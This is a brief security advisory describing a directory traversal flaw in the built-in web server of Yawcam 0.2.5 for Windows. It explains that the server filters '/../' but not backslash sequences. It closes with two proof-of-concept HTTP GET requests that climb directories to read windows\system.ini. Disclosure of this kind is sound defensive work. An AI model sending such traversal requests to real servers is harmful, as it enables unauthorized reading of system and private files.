Yawcam Directory Traversal
------------------------------------------------------------------------
SUMMARY
" <http://www.yawcam.com/> Yawcam is a webcam software for windows written
in java by the student Magnus Lundvall. The main ideas for yawcam were to
keep it simple but include all the usual features."
The lack of Windows style directory markers filtering allows attackers to
retrieve local files from the user's operating system.
DETAILS
Vulnerable Systems:
* Yawcam version 0.2.5 (Windows)
The Yawcam program has a built-in web-server that is by default able to
avoid malicious patterns like "/../" but it's not able to avoid being
exploited by patterns like "..\" or "\..\".
Proof of Concept:
GET ..\..\..\..\..\..\..\..\windows\system.ini HTTP/1.0
GET \..\..\..\..\..\..\..\..\windows\system.ini HTTP/1.0
